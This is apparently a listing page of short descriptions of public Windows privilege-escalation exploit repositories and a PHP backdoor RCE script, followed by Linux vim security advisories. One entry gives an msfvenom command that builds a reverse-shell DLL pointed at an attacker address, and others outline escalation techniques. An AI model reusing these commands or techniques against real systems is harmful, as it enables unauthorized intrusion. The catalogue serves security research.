awesome_windows_logical_bugs

awesomewindowslogicalbugs Created this repo for the people who want to learn about windows logical privilege escalation bugs. And also I added some of my findings. You can contact me via @404death to add good article which I missed. work in progress WIP , I'm always update this repo when the new...

PrintNightmare-LPE

CVE-2021-1675PrintNightmare system shell poc for CVE-2021-1675 Windows Print Spooler Elevation of Privilege credit: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ref: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 Credit to all researcher who find out this bug...

vss-fr2system

vss-fr2system Two small tools that turn an arbitrary file read bug on Windows into a SYSTEM shell. vssfreeze/ — creates a Volume Shadow Copy as a standard user , then holds it open so you have time to read the SAM/SECURITY/SYSTEM hives out of it fr2system/ — takes the hives you copied out, decryp...

CVE-2021-21551

CVE-2021-21551 Exploit to SYSTEM for CVE-2021-21551 SpoolPrinter Privesc using SeImpersonatePrivileges was made thanks to @ForrestOrr https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato I basically just tossed the exploit function in his code and altered it ever ...

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...

CVE-2017-0213

CVE-2017-0213 I used the code provided by the Google Project Zero Team here: https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 The changes I made allow the program to call a powershell oneliner that will give me an Empire agent on the target. I will use this for privilege...

CVE-2022-25949

CVE-2022-25949 A years-old exploit of a local EoP vulnerability in Kingsoft Antivirus KWatch Driver version 2009.3.17.77. 2009..? I reported the issue in January 2014 and was notified of the CVE 8+ years later. I decided to upload this because it is amusing enough to find my old code and that it...

Lenovo-CVE-2025-8061

Lenovo-CVE-2025-8061 PoC для получения системной оболочки через драйвер LnvMSRIO.sys 3.1.0.36. Вся заслуга принадлежит оригинальному автору Luis Casvella из Quarkslab. Это работает на последней Windows 11 Version 24H2 с отключёнными KVAShadowing и Core Isolation! !NOTE Скомпилировано с...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version Disclaimer The author's PoC is for research purposes only. If readers use this PoC for other activities, the author is not responsible. Table of Contents toc Introduction CVE-2019-0708-EXP-Windows version runs as a single executable file, no need for Linux, Pytho...

DirCreate2System

DirCreate2System Превращаем получение NT AUTHORITY\SYSTEM для привилегированных ошибок создания каталогов с помощью Windows Error Reporting Краткое описание: Я обнаружил, что comctl32.dll которого нет в системном каталоге, которого на самом деле не существует загружается wermgr.exe через Windows...

faxhell

faxhell "Fax Shell" Un shell de liaison Proof-of-Concept utilisant le service Fax et un détournement de DLL basé sur Ualapi.dll. Voir notre article à l'adresse : https://windows-internals.com/faxing-your-way-to-system/ Comment utiliser Construisez Ualapi.dll et placez-le dans c:\windows\system32...

CVE-2019-12476

ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus version 4.3.3 PoC for an authentication bypass on Windows 10. Affects all versions of Windows PoC Video Steps to repoduce 1. Disconnect from your enterprise network 2. Connect to your own hotspot 3. Click on reset password; the thick client...

SeManageVolumeExploit

SeManageVolumeExploit Этот эксплойт предоставляет полные права на диск C:\ для всех пользователей на машине. Включает привилегию в токене Создаёт дескриптор к \.\C: с SYNCHRONIZE | FILETRAVERSE Отправляет FSCTLSDGLOBALCHANGE для замены S-1-5-32-544 на S-1-5-32-545 Перезапись «Printconfig.dll» для...

SharpPolarBear

SharpPolarBear This is a weaponized version for one of the Exploits published by SandboxEscaper from here https://github.com/SandboxEscaper/polarbearrepo. Most of the code comes from rasta-mouse CollectorService repository https://github.com/rasta-mouse/CollectorService. I just changed the...

CVE-2026-62735

CVE-2026-62735 Информация Эта уязвимость была первоначально обнаружена Siyeon Wi. Я воспроизвёл уязвимость независимо в образовательных целях и для изучения. Уязвимость также была продемонстрирована на Pwn2Own Berlin 2026. Ссылки: Статус TrendAI Zero Day Initiative Блог TrendAI Zero Day Initiativ...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev Backdoor Remote Code Execution PHP 8.1.0-dev Backdoor System Shell Script PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by...

CentOS Linux 6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (CENTOS6:CLSA-2026:1781030937)

The CentOS Linux 6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS6:CLSA-2026:1781030937 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing. When...

AlmaLinux 9.6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (ALMALINUX9.6:CLSA-2026:1780708480)

The AlmaLinux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1780708480 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing...

CentOS Linux 8 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (CENTOS-STREAM8:CLSA-2026:1781082176)

The CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS- STREAM8:CLSA-2026:1781082176 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file...

Rocky Linux 9.6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (ALMALINUX9.6:CLSA-2026:1780708480)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1780708480 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing...